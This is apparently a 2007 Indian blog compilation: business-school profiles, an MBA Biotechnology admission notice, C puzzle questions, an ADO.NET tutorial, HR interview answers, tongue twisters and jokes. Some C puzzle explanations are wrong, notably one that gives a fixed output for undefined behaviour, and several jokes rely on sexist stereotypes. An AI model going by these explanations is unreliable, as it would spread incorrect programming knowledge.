Government of India since its inception. Today, IMI holds a place of distinction among the premier schools of management for being the first corporate sponsored business school with strong international orientation in India.IMI follows international standard curricula in its programs, which has been enriched by its academic collaborations with International Institute for Management Development (IIMD),Lausane (erstwhile International Management Institute, Geneva); Faculty of Management, McGill University, Montreal, and Manchester Business School U.K, prepares participants to successfully manage and lead in an increasingly global business environment. IMI’s educational programs have been recognized by All India Council for Technical Education (AICTE) and Ministry of Human Resource Development, Govt. of India.The corporate world in India, public, private, multinational companies, international consulting firms and other organizations have employed its alumni who are rightly called, the Achievers.under section 12A(a) as a trust under the provisions of the Income Tax Act, 1961. The income of the Institute is exempted under section 80G and 10(22) and for research under section 35(I) (iii) of the Income Tax Act, 1961 as an Institution solely for educational purposes.Location in India : B-10, Qutab Institutional Area Tara CrescentNew Delhi - 110016
Web URL : International Management Institute

Indian Institute of Planning and Management (IIPM)
Year 1963: A proposal by Dr. M.K.Chaudhuri to set up an institute under the name of "Institute for Planning and Administration of National Economy" was forwarded to Pt. Jawahar Lal Nehru, the then Prime Minister and Chairman, Planning Commission, Government of India. The institute was committed to cutting edge research and education on economics, entrepreneurship and management. A study tour was undertaken by Dr. M.K.Chaudhuri during 1964-65 to acquire first hand knowledge about the working of similar institutions in Europe. A working paper on Regional Planning was circulated to leading academicians -
Under the name of "Indian Institute of Planning" in 1969. Year 1973: The founder Director resigned from professorship of Indian Institute of Management, Bangalore (IIM-B) and established IIPM in New Delhi. The first residential full-time post graduate diploma programme commenced on 12th August, 1974, with students selected through admission tests-cum-inter views held in Delhi, Kolkata, Bombay and Bangalore. Year 2006: IIPM has grown to become the world's largest business school with 5000 postgraduate management students in nine campuses across seven of India's largest cities, with placement offices in San Francisco, New York, London, Dubai and Singapore.Courses in IIPM :-# 2-year full time Programme in National Economic Planning and Entrepreneurship (leading to the award of the MBA degree from IMI)# 3-year full-time Integrated Programme in National Economic Planning and Entrepreneurship (leading to the award of the BBA degree from IMI)Location in India :-IIPM New Delhi Tower IIThe Indian Institute of Planning & ManagementIIPM Tower, B-27, Qutab InstitutionalNew Delhi 110016.INDIA
Web URL : Indian Institute of Planning and Management (IIPM)

Management Development Institute (MDI)
Management Development Institute(MDI):MDI has its own campus spread over 37 acres in Gurgaon. Located strategically, the campusis about 16 Kms from Indira Gandhi International Airport, New Delhi and 30 Kms, from downtown Connaught Place, New Delhi. The campus is well laid out with an extensive six hole golf green, trees, lawns and aesthetically planned landscapes. The institute is set amidst abundant greenery in sylvan surroundings and provides a very conducive environment for studies.
Infrastructure:The entire complex consists of air-conditioned lecture halls, syndicate rooms, faculty and administrative blocks, a state-of-the-art computer center, and one of the best management libraries.There is a fine executive hostel, Mandevin House, which has receptions halls, air-conditioned dining halls,air-conditioned,fully furnished residence for participants with all the modern amenities. The campus also has residential accommodation for academic and administrative staff.Facilities:lawn tennis,badminton and yoga classes. Besides these facilities there is a T.V. lounge, a T.T. room, a gymnasium, a recreation room and a canteen. Facilities like ISD/STD, Telephone and Fax, internet and are also available on the campus.Location in India :-Management Development InstituteMehrauli RoadSukhrali, Gurgaon - 122001INDIA
Web URL : Management Development Institute (MDI)

South Colleges

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Symbiosis Institute Of Management(SIBM) : Established in 1978, SIBM is in its 29th year of service to the student community. It continues to be the flagship brand of Symbiosis and is recognized as one of the best Business Schools in India.
In the year 1979, SIBM proved its pioneering self by becoming the only institute in Pune to organize a seminar outside the city precincts - in Mumbai. Soon the trend was set and others followed suit.
The concept of Internships / Summer Training was another offering made by SIBM to Pune. It was in 1982 that a learning cum training scheme was started.

Supplementary training courses were included in the curriculum to supplement the Pune University syllabus. Little wonder then that the same year SIBM started being ranked among the top 5 B-schools in India. The same year saw SIBM organize 3 national level seminars all outside the city of functioning.

All the 3 days of the conclave were attended in large numbers by students, not just from SIBM, but from many other colleges in Pune, and also by the Corporate community. The occasion was graced by Dr.S.B.Mujumdar-Chancellor, Symbiosis International University (SIU), Dr.M.S.Raste-Vice Chancellor, SIU, Dr.Vidya Yeravdekar-Joint Director, Symbiosis Society, Dr.Arun Mudbidri-Director, SIBM and Mr.Shrirang Altekar-Chairperson, Summit SIBM.

In 1990, permanent affiliation was received from Pune University â€“ the only B-school to have ever received it.

In 1996 the BASE programme was introduced, in addition to the curriculum of Pune University. The same year witnessed SIBM shift to its new campus with well-equipped infrastructure.

The icing on the cake came in 2002 - when SIBM got the Deemed University status because of it's excellent academic record.

Symbiosis Institute of Business Management is a constituent of Symbiosis International Educational Centre a Deemed University conferred by the Department of Secondary & Higher Education, Ministry of Human Resource Development, Government of India vide letter No. F.9- 12/2001-U.3 dated 6th May 2002. Symbiosis International Educational Centre is an unaided Deemed University.
Web URL : Symbiosis Institute Of Management(SIBM)

The Annamalai University is a unitary, teaching and residential university. It was founded by the munificence of the farsighted and noble hearted philanthropist and patron of letters the late Hon'ble Dr. Rajah Sir Annamalai Chettiar of Chettinad, Kt, LL.D., D.Litt. He started several colleges and ultimately the University in 1929. Since its inception, it has progressively tried to realize the aims-

of the noble Founder Pro-Chancellor. After him, his illustrious son Padma Bhushan Dr. Rajah Sir Muthiah Chettiar of Chettinad, was the Pro-Chancellor from 1948 to 1984 and he sedulously nurtured the growth and development of the University. The present Pro-Chancellor Dr.M.A.M. Ramaswamy, a philanthropist and a patron of sports, is the distinguished son of Dr.Rajah Sir Muthiah Chettiar. The University has had the unique good fortune of having a succession of eminent Vice-Chancellors to guide its destinies. During the last seventy five years the University has grown rapidly and consolidated its position as a unitary and residential University with Forty eight Departments of Study and over 1664 members on its teaching staff. Annamalainagar is already a busy and full-fledged University town east of Chidambaram, the abode of Lord Nataraja. The University campus, including the colleges, hostels and playgrounds occupies an area of about thousand acres.

LOCATION :

ANNAMALAI UNIVERSITY
Annamalai Nagar - 608 002
Tamil Nadu
India

PROGRAMMES :
M.B.A {E.M}
M.B.A (Marketing Management) {E.M}

One of the Asia's Largest residential universities
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KNOW UR Value....!

A well-known speaker started off his seminar by holding up a Rupee 500 note.

In the room of 200, he asked, "Who would like this Rupee 500 note?"

Hands started going up. He said, "I am going to give this note to one of you

but first let me do this." He proceeded to crumple the note up.

He then asked, "Who still wants it?"

Still the hands were up in the air.

"Well," he replied, "What if I do this?" And he dropped it on the ground and
started to grind it into the floor with his shoe. He picked it up, now all
crumpled and dirty. "Now who still wants it?"
Still the hands went into the air.

"My friends, you have all learned a very valuable lesson.
No matter what I did to the money, you still wanted it because it did not
decrease in value. It was still worth Rupee 500/-.

Many times in our lives, we are dropped, crumpled, and ground into the dirt
by the decisions we make and the circumstances that come our way. We feel as
though we are worthless.
But no matter what has happened or what will happen, you will never lose
your value.

You are special. Don't ever forget it! Never let yesterday's disappointments overshadow tomorrow's dreams.

" VALUE HAS A VALUE ONLY IF ITS VALUE IS VALUED "

MBA Biotechnology

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Admission Procedure

MBA - Biotech is one of the newest disciplines in management, encompassing management and Biotechnology. Biotechnology is one of the growing sectors in national and International economies. Department of Management Sciences, University of Pune (PUMBA) has started this pioneering program from the academic year 2002-2003 (Intake capacity 60).

Eligibility

Any Bachelor's or Master's degree in Science (Special/General with Biotechnology, Biology, Botany, Chemistry, Microbiology, Zoology, Biochemistry, Physics, etc), Agriculture, Medical Sciences, Pharmacy, Ayurved, Veterinary Sciences, Technology, Engineering of a University Recognized by the AIU.

Candidates seeking admission to MBA (Biotechnology) programme (intake capacity 60 seats) should apply for AIMS Test for Management Admission scheduled on Sunday, February 10, 2007. Interested students can obtain ATMA’s application kit consisting of the application form, information bulletin, sample test, in person by paying Rs. 700/- or by post Rs. 750/- by Demand Draft drawn in favour of “Association of Indian Management Schools”, payable at Hyderabad from office of ATMA, AIMS, House No: 8-3-677/57A, Plot No. 57, Srikrishnadevarayanagar, Street No. 6 Yellareddigudda, Hyderabad, 500073, Tel. No. (040) 23750247/8 or from the IMS Learning Centers of major cities. For details of ATMA (written test) visit website: www.atma-aims.org

Reservation

50% seats are reserved for SC, ST, DTNT and OBC category students as per Government of Maharashtra rules. 3% seats are reserved for Physically Handicapped students as per government of India rules.
1 seat is reserved for J&K student as per rules.

Selection Process

Candidates seeking admission for this program should appear for the ATMA test being conducted in February.
For details about ATMA please visit their site: www.atma-aims.org. Further, these candidates should appear for the GD/PI to be conducted by the Department of Management Sciences, University of Pune (PUMBA).

Details of the GD/PI and other details are available in the PUMBA's prospectus available from the office of the department from November, on all working days, between 11 am to 5 pm on payment of Rs. 250 (for Open category) and Rs. 150 (for reserved category) through DD drawn in the favour of
"The Registrar", University of Pune, payable at Pune. The prospectus can also be obtained by post by paying through DD of Rs. 325 (for Open category) and Rs. 225 (for reserved category).

Overview

Biotechnology (BT) is being acclaimed as the new frontier for knowledge development at national as well as international levels. The Bio-Tech industry is expected to boom in India as well as over the world. Since BT is a knowledge intensive industry, it is expected that India will have a competitive advantage and will be able to take full advantage of this opportunity, as has happened in the case of the IT industry.

To ensure that this opportunity is fully utilized and developed for national economic benefit, a vital need will be of trained manpower, both technological as well as managerial.

Managerial manpower, with BT specialization, will be needed to play an entrepreneurial role and to manage effective and efficient commercial utilization of the BT research outcomes. The BT focused managers will also monitor the socio-economic and ethical issues so that the technology is harnessed and applied for the holistic betterment of mankind.

Looking to this future need and opportunity, University of Pune has taken a path-breaking initiative to help catalyze and direct this technology revolution. We have launched a two-year full-time MBA program in biotechnology i.e. MBA (Biotechnology) (MBA-BT) from the academic year 2002-2003. This is the first such program in any Indian University/Institute and probably the world.

IMPORTANT DATES: Last date for receiving completed application for ATMA test January 17, 2008
Date of ATMA test February 10, 2008
Last date for receiving completed application at DMS (PUMBA) for GD/PI April 28, 2008
GD/PI May 26, 2008 onwards
Announcement of merit list June 11, 2008
Counseling for admission June 23, 2008
Commencement of course July 15, 2008

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1. main()
{
float me = 1.1;
double you = 1.1;
if(me==you)
printf("I love U");
else
printf("I hate U");
}

Answer:
I hate U

Explanation:
For floating point numbers (float, double, long double) the values cannot be predicted exactly. Depending on the number of bytes, the precession with of the value represented varies. Float takes 4 bytes

and long double takes 10 bytes. So float stores 0.9 with less precision than long double.
Rule of Thumb:
Never compare or at-least be cautious when using floating point numbers with relational operators (== , >, <, <=, >=,!= ) .

2. main()
{
static int var = 5;
printf("%d ",var--);
if(var)
main();
}

Answer:
5 4 3 2 1

Explanation:
When static storage class is given, it is initialized once. The change in the value of a static variable is retained even between the function calls. Main is also treated like any other ordinary function, which can

be called recursively.

3. main()
{
extern int i;
i=20;
printf("%d",i);
}

Answer:
Linker Error : Undefined symbol '_i'
Explanation:
extern storage class in the following declaration,
extern int i;
specifies to the compiler that the memory for i is allocated in some other program and that address will be given to the current program at the time of linking. But linker finds that no other variable of name i is available in any other program with memory space allocated for it. Hence a linker error has occurred .

4. main()
{
int i=3;
switch(i)
{
default:printf("zero");
case 1: printf("one");
break;
case 2:printf("two");
break;
case 3: printf("three");
break;
}
}

Answer :
three

Explanation :
The default case can be placed anywhere inside the loop. It is executed only when all other cases doesn't match.

5. main()

{

int i=5;

printf("%d%d%d%d%d%d",i++,i--,++i,--i,i);

}

Answer:45545

Explanation:The arguments in a function call are pushed into the stack from left to right. The evaluation is by popping out from the stack. and the evaluation is from right to left, hence the result.

2007-12-10T12:45:00.000+05:30

ADO .NET
Most applications need data access at one point of time making it a crucial component when working with applications. Data access is making the application interact with a database, where all the data is stored. Different applications have different requirements for database access. VB .NET uses ADO .NET (Active X Data Object) as it's data access and manipulation protocol which also enables us to work with data on the Internet. Let's take a look why ADO .NET came into picture replacing ADO.

Evolution of ADO.NET
The first data access model, DAO (data access model) was created for local databases with the built-in Jet engine which had performance and functionality issues. Next came RDO (Remote Data Object) and ADO (Active Data Object) which were designed for Client Server architectures but soon ADO took over RDO. ADO was a good architecture but as the language changes so is the technology. With ADO, all the data is contained in a recordset object which had problems when implemented on the network and penetrating firewalls. ADO was a connected data access, which means that when a connection to the database is established the connection remains open until the application is closed. Leaving the connection open for the lifetime of the application raises concerns about database security and network traffic. Also, as databases are becoming increasingly important and as they are serving more people, a connected data access model makes us think about its productivity. For example, an application with connected data access may do well when connected to two clients, the same may do poorly when connected to 10 and might be unusable when connected to 100 or more. Also, open database connections use system resources to a maximum extent making the system performance less effective.

Why ADO.NET?
To cope up with some of the problems mentioned above, ADO .NET came into existence. ADO .NET addresses the above mentioned problems by maintaining a disconnected database access model which means, when an application interacts with the database, the connection is opened to serve the request of the application and is closed as soon as the request is completed. Likewise, if a database is Updated, the connection is opened long enough to complete the Update operation and is closed. By keeping connections open for only a minimum period of time, ADO .NET conserves system resources and provides maximum security for databases and also has less impact on system performance. Also, ADO .NET when interacting with the database uses XML and converts all the data into XML format for database related operations making them more efficient.

The ADO.NET Data Architecture
Data Access in ADO.NET relies on two components: DataSet and Data Provider.

DataSet
The dataset is a disconnected, in-memory representation of data. It can be considered as a local copy of the relevant portions of the database. The DataSet is persisted in memory and the data in it can be manipulated and updated independent of the database. When the use of this DataSet is finished, changes can be made back to the central database for updating. The data in DataSet can be loaded from any valid data source like Microsoft SQL server database, an Oracle database or from a Microsoft Access database.

Data Provider
The Data Provider is responsible for providing and maintaining the connection to the database. A DataProvider is a set of related components that work together to provide data in an efficient and performance driven manner. The .NET Framework currently comes with two DataProviders: the SQL Data Provider which is designed only to work with Microsoft's SQL Server 7.0 or later and the OleDb DataProvider which allows us to connect to other types of databases like Access and Oracle. Each DataProvider consists of the following component classes:
The Connection object which provides a connection to the database
The Command object which is used to execute a command
The DataReader object which provides a forward-only, read only, connected recordset
The DataAdapter object which populates a disconnected DataSet with data and performs update

Data access with ADO.NET can be summarized as follows:
A connection object establishes the connection for the application with the database. The command object provides direct execution of the command to the database. If the command returns more than a single value, the command object returns a DataReader to provide the data. Alternatively, the DataAdapter can be used to fill the Dataset object. The database can be updated using the command object or the DataAdapter.

Component classes that make up the Data Providers
The Connection Object
The Connection object creates the connection to the database. Microsoft Visual Studio .NET provides two types of Connection classes: the SqlConnection object, which is designed specifically to connect to Microsoft SQL Server 7.0 or later, and the OleDbConnection object, which can provide connections to a wide range of database types like Microsoft Access and Oracle. The Connection object contains all of the information required to open a connection to the database.
The Command Object
The Command object is represented by two corresponding classes: SqlCommand and OleDbCommand. Command objects are used to execute commands to a database across a data connection. The Command objects can be used to execute stored procedures on the database, SQL commands, or return complete tables directly. Command objects provide three methods that are used to execute commands on the database:
ExecuteNonQuery: Executes commands that have no return values such as INSERT, UPDATE or DELETE
ExecuteScalar: Returns a single value from a database query
ExecuteReader: Returns a result set by way of a DataReader object

The DataReader Object
The DataReader object provides a forward-only, read-only, connected stream recordset from a database. Unlike other components of the Data Provider, DataReader objects cannot be directly instantiated. Rather, the DataReader is returned as the result of the Command object's ExecuteReader method. The SqlCommand.ExecuteReader method returns a SqlDataReader object, and the OleDbCommand.ExecuteReader method returns an OleDbDataReader object. The DataReader can provide rows of data directly to application logic when you do not need to keep the data cached in memory. Because only one row is in memory at a time, the DataReader provides the lowest overhead in terms of system performance but requires the exclusive use of an open Connection object for the lifetime of the DataReader.

The DataAdapter Object
The DataAdapter is the class at the core of ADO .NET's disconnected data access. It is essentially the middleman facilitating all communication between the database and a DataSet. The DataAdapter is used either to fill a DataTable or DataSet with data from the database with it's Fill method. After the memory-resident data has been manipulated, the DataAdapter can commit the changes to the database by calling the Update method. The DataAdapter provides four properties that represent database commands:
SelectCommand
InsertCommand
DeleteCommand
UpdateCommand
When the Update method is called, changes in the DataSet are copied back to the database and the appropriate InsertCommand, DeleteCommand, or UpdateCommand is executed.

2007-12-08T13:09:00.000+05:30

Top 10 Search Engines

A9
AltaVista - Lots of neat extras, such as translation.
AOL
Clusty - Clusty is now optimized for mobile devices
Google - The paradigmatic internet search engine.
Lycos - "Wolfspider" (Latin) . Owns HotBot offering parallel, scalable searches. Search a domain, eg. [.edu].
Metaspy
MSN
Teoma
Yahoo! - Web index pioneer.

HR Interview Questions...

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Why did you want to change(leave) your current(present) job?

my answer is this: 1. getting good salary package. 2.

Present organisation is far from my house and i have to

face transport problem when there is any bus strike.

3. The current office's working environment is good but i

am unable to give more time to my children because of their

timing.

1) Mainly for brighter prospects coupled with a better pay

structure. Furthermore, my core competencies being HR, my

current job requirement demanded 85% adminsitration and

5-10% HR expertise.

2) I am looking for a more challenging career in a firm with

a larger employee base such as yours.

3) Keeping in mind my career goals, the time has come for me

to move onto the next rung of the ladder and make a mark for

myself. This can be achieved in a company like this.

looking for greater opportunity.as there was no progress in

my job had to leave it.looking forward to  work in an

organization where i am rewarded for performance

i left my previous job. because the company infrastructure

is very poor. and his establishment and water and basic

facilities is very bad . and low salary.

Re: tell me about yourself? Answer

I'm ABC, I'm 18 yrs old and currently putting up at XYZ(house address). In my educational Qualificatios I've done my 10th and 12th from C.B.S.E/I.C.S.E board. And apprently persuing for AeroSpace Engineering from ---university. And as far as my hobbies are concerned I like playing games

Tell me about yourself?

I am T.SreeDurga from Rajahmundry.I am a B.Tech holder from S.V.E.C.W in E.C.E and having an aggregate of 74.04%.I did my schooling in Schade girls high school and have 80.0%.I did my Intermediate in Aditya Junior college

How much salary do you want?

Salary is not a constraint for a Prestigious Institution like yours. For me, Getting placed in your concern is an important thing.

How much salary you are expecting?

# You should know the market value for the job your applying for .Ask someone already working in the same job or experienced people before hand as to what can you expect.

# If suppose the market stands as 2.4.Never give an exact figure. Give them a range (you may end up getting what u asked rather than a higher amount sometimes).

What are your hobbies?

Well I don’t have any particular hobby as such, playing games and listening to music is how I mostly spend my time at home.

Where do you see yourself in the next five years?

I want to see myself as a Project Manager in a reputed organization so that I can guide my team members about the hardships I faced, experiences I gathered, and leadership skills.

Do you prefer to work in a group?

Ya definitely Sir. Basically I am a good team player so that i can able to tackle people in groups easily sir.

If you won $10 million lottery, would you still work?

 Yes i would still work Since whats more important to me is I cannot sit idle i would try to focus on the important aspects by investing

What do you think of your boss?

We must feel very comfortable in his presence. He should lead us friendly and support for the growth of company and myself.

Looking back, what would you do differently in your life?

" Looking back, I would never regret to anything in my life. Life has taught me everything to achieve my goals. Every day in my life was a Lesson with lots of learning experience "

Can you work under pressure?

I think working under pressure is an art. Every person cannot work under pressure. I can work under tremendous pressure ...my past experience has given me a lot of courage and experience to work under pressure.

How do you feel about working nights and weekends?

I always want to finish off everything within stipulated time hence, if situation demands me to work at nights and weekends I’ll never mind it as weekends and I’ll work.

How do you define success and how do you measure up to your own definition?

In my Opinion I feel that success is not some thing that can be achieved by putting few efforts.

How would you rate your communication skills and what have you done to improve them?

I have pretty good communication skills. I constantly improve it speaking and listening, also every day I add more words to my Vocab.

Why did you decide to enter the field of Computer Science? OR What motivated you to seek a computer science degree?

Well, I have chosen this field because I am very much interested in Computers, Writing Programs, developing software etc.

Tell us about your experience with online searching.

Online searching is a very useful tool. It saves a lot of time and energy and also, it is very convenient as sitting at one place we can

What do you expect from Professionals like us?

Encouragement, help if needed (as we are new to the company), team Spirit

What is leadership?

Well leading others, encouraging inspiring, improving what not everything

Tell me about your family?

One point to note here is, his is in no way interested in your family and your selection is no way related to your family background

Tell us about your subject background?

Here initially you can mention about your technical background. Do specify him out of your subject, which are the areas you have performed well

2007-12-08T11:41:00.000+05:30

A box of biscuits, a batch of mixed biscuits

A skunk sat on a stump and thunk the stump stunk,
but the stump thunk the skunk stunk.

Peter Piper picked a peck of pickled peppers.
Did Peter Piper pick a peck of pickled peppers?
If Peter Piper picked a peck of pickled peppers,
where's the peck of pickled peppers Peter Piper picked?

Red lorry, yellow lorry, red lorry, yellow lorry.

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Six sick slick slim sycamore saplings.

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She sells sea shells by the sea shore.
The shells she sells are surely seashells.
So if she sells shells on the seashore,
I'm sure she sells seashore shells.

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Shy Shelly says she shall sew sheets.

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Lesser leather never weathered wetter weather better.

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The boot black bought the black boot back.

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Nine nice night nurses nursing nicely.

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Swan swam over the sea,
Swim, swan, swim!
Swan swam back again
Well swum, swan!

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2007-12-05T16:34:00.000+05:30

1. You can't buy love. . But you pay heavily for it.

2. My wife and I always compromise. I admit I'm wrong and she agrees with me.

3. Ladies first. Pretty ladies sooner.

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This is one of the best explanations of why God allows pain and suffering that I have seen...

A man went to a barbershop to have his hair cut and his beard trimmed.
As the barber began to work, they began to have a good conversation.
They talked about so many things and various subjects.
When they eventually touched on the subject of God, the barber said:
"I don't believe that God exists."

"Why do you say that?" asked the customer. "Well, you just have to go out in the street to realize that God doesn't exist.
Tell me, if God exists, would there be so many sick people?
Would there be abandoned children?

If God existed, there would be neither suffering nor pain.
I can't imagine a loving God who would allow all of these things."
The customer thought for a moment, but didn't respond because he didn't want to start an argument.
The barber finished his job and the customer left the shop.

Just after he left the barbershop, he saw a man in the street with long, stringy, dirty hair and an untrimmed beard.
He looked dirty and unkempt. The customer turned back and entered the barber shop again and he said to the barber:
"You know what? Barbers do not exist."
"How can you say that?" asked the surprised barber.
"I am here, and I am a barber. And I just worked on you!"
"No!" the customer exclaimed. "Barbers don't exist because
If they did, there would be no people with dirty long hair and untrimmed beards, like that man outside."

"Ah, but barbers DO exist! That's what happens when people do not come to me."
"Exactly!" affirmed the customer. "That's the point! God, too, DOES exist!
That's what happens when people do not go to Him and don't look to Him for help.
That's why there's so much pain and suffering in the world."

2007-11-22T15:45:00.000+05:30

Stoty I

Employer : Do you have a boyfriend?
Candidate: I have.
Employer: Is he working locally?
Candidate: No. He is workin overseas
Employer: Sorry, my company cannot employ you!
Candidate: Why?
Employer: You will not be able to settle down here permanently. And my company doesn’t want to pay extra expenses on the overseas calls just because of you.

Story II

Employer: Any girl friends?
Candidate: No.
Employer: So far chased any before?
Candidate: Have, but not successful.
Employer: Ever think of getting a job first then start looking for a girlfriend?
Candidate: Career is first priority. Currently didn't want to consider this personal issue.
Employer: Sorry, my company cannot employ you.
Candidate: Why?
Employer: You are lacking of public relation skills and confidence!!

Story III

Employer: Any girlfriends?
Candidate: Yes.
Employer: Is she pretty?
Candidate: Not quite.
Employer: Sorry, my company cannot employ you.
Candidate: Why? Will this affect your company's reputation?
Employer: No, it does not affect the company's reputation but because my company is dealing with arts, our company requested an artist

Story IV

Employer: Any girlfriends?
Candidate: Yes.
Employer: Is she pretty?
Candidate: yes
Employer: Is she your first lover?
Candidate: Yes.
Employer: Sorry, we can't employ you because you lack of fighting spirit.

Story V

Employer: Any girlfriends?
Candidate: Yes.
Employer: Is she your first lover?
Candidate: No. Have a few already.
Employer: Sorry, my company cannot employ you because you are a "grasshopper"! (Job hoper!)

Story VI

Employer: Any boyfriends?
Candidate: Yes.
Employer: Is he rich?
Candidate: No.
Employer: Then sorry, my company cannot employ you because our Company is dealing with money and you will seduce.

Story VII

Employer: Any boyfriends?
Candidate: Yes.
Employer: Is he rich?
Candidate: Yes, very rich. He owns a company.
Employer: Sorry, we cannot employ you because your boyfriend don't even want to employ you, neither do we!
Candidate: But, there is no position in his company.
Employer: Then, what is your qualification?
Candidate: Secretary!
Employer: Sorry, we still cannot employ you because your prettiness will affect your managers' working spirits.
Candidate: But, I am not pretty at all.
Employer: It is even worse because my managers will not be interested in you!

2007-11-20T17:14:00.001+05:30

Womens talk and Mens Talk

TWO WOMEN TALKING

Woman 1: Oh! You got a haircut! That's so cute!
Woman 2: Do you think so? I wasn't sure when she gave me the mirror. I mean, you don't think it's too fluffy looking?

Woman 1: No, it's perfect. I'd love to get my hair cut like that, but I think my face is too wide. I'm Pretty much stuck with this stuff I think.
Woman 2: Are you serious? I think your face is adorable. And you could easily get one of those layer cuts - that would look so cute I think. I was actually going to do that except that I was afraid it wouldaccent my long neck.

Woman 1: Oh - that's funny! I would love to have your neck! Anything to take attention away from these football player shoulders of mine.
Woman 2: Are you kidding? I know girls that would love to have your shoulders. Everything drapes so well on you. I mean, look at my arms, see how short they are? If I had your shoulders I could get clothes to fit me so much easier.

NOW TWO MEN TALKING

Man 1: Haircut?
Man 2: Yeah.

Million Dollars in a Second

2007-11-20T17:01:00.000+05:30

Million Dollars in a Second

A man was praying to god.

He said, "God?"
God responded, "Yes?"

Man said, "Can I ask a question?"
"Go right ahead", God said.

"God, what is a million years to you?"
God said, "A million years to me is only a second."

The manwondered.

Then he asked, "God, what is a million dollars worth to
you?"

God said, "A million dollars to me is a penny."

So the man said,

"God can I have a penny?"
God cheerfully said, "Sure!....... just a second."

Its Fun Time

2007-11-20T16:57:00.003+05:30

Stupid Questions?

1. At a restaurant: When you ask the waiter
Stupid Question:-
Is! the "Butter Paneer Masala" dish good??
Answer:-
No, its terrible and made of adulterated cement.

2. When a friend announces

her wedding, and you ask...
Stupid Question:-
Is the guy you're marrying good?
Answer:-
No,he's a miserable wife-beating , insensitive lout...it's just the
money.

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3. When you get

woken up at midnight by a phone call...
Stupid Question:-
Sorry. were you sleeping?
Answer:-
No. I was doing research on whether the Zulu tribes in Africa eat
pineapple or not. You bet I was sleeping....you dumb witted moron.

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4. When you see a

friend/colleague with evidently shorter hair...
Stupid Question:-
Hey have you had a haircut?
Answer:-
No, its autumn and I'm shedding......

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5. At the dentist when he's

sticking pointed objects in your mouth...
Stupid Question:-
Tell me if it hurts?
Answer:-
No it wont. It will just bleed.

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6. You are smoking a

cigarette and a friend asks...
Stupid Question:-
Oh, so you smoke.
Answer:-
Gosh, it's a miracle .......it was a piece of chalk and now it's in
flames!!!

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7. At the movies: When you

meet acquaintances/friends...
Stupid Question:-
Hey, what are you doing here?
Answer:-
Dont u know, I sell tickets in black over here..

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An elephant has 5 bananas and it is hungry, but yet it does not eat the bananas. Why?

Because the bananas are made of plastic.

Next…Q
The 5 bananas are real , but yet the elephant does not eat it. Why?

Because the elephant is made of plastic.

Hahhaa…never give up…

one more..

Now,Both the elephant and the bananas are real, but yet it cannot eat it. Why?

Because the bananas are in the TV.Ooops!!!
Cool down…

Both the elephant and the bananas are real and in the TV, but yet it cannot eat it. Why?

Because they are on different channels.
Hohohohoohohoh. .hehehe

Both the elephant and the bananas are real and in the TV and on the same channel, but yet it cannot eat it. Why?

Cmon think

Because the TV is off.
Kikikikikiki..

Now Finally the Elephant gets a chance to eat the bananas.Why?

Itna kyun soch rahe ho yaar..Kya bigada hain usne aapka.........

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Three friends die and go to heaven. The first guy gets handcuffed to one of the ugliest girls there.
''Why?'' he asks.

St. Paul replies, ''When you were nine you killed a bird with a stone.'

The same happens to the second guy. He asks why.

St. Paul replies, ''When you were nine you killed a bird with a stone.''

The third guy laughs at his friends and says, ''
Thank God I didn't do anything like that.''
He gets handcuffed to the prettiest girl in heaven.
The other two guys ask, ''Why?''
''Because when she was nine she killed a bird with a stone.''

2007-11-20T16:48:00.001+05:30

Marriage is a relationship in which one person is always right, and the other is a Wife.

2007-11-20T16:42:00.000+05:30

Women Vs. Men

If a girl laughs, she is a jolly fellow.
If a man laughs, he is manner less.
If a girl talks too much, she is witty.
If a man talks too much, he is a chatterbox.
If a girl loves silence, she is serious.
If a man loves silence, he is dull.
If a girl wears a unique dress, she is smart.
If a man does so, he is a joker.
If a girl eats too much, she is promoting.
If a man eats too much, he is a glutton.
If girls move together, they form a company.
If men move together, they form a gang.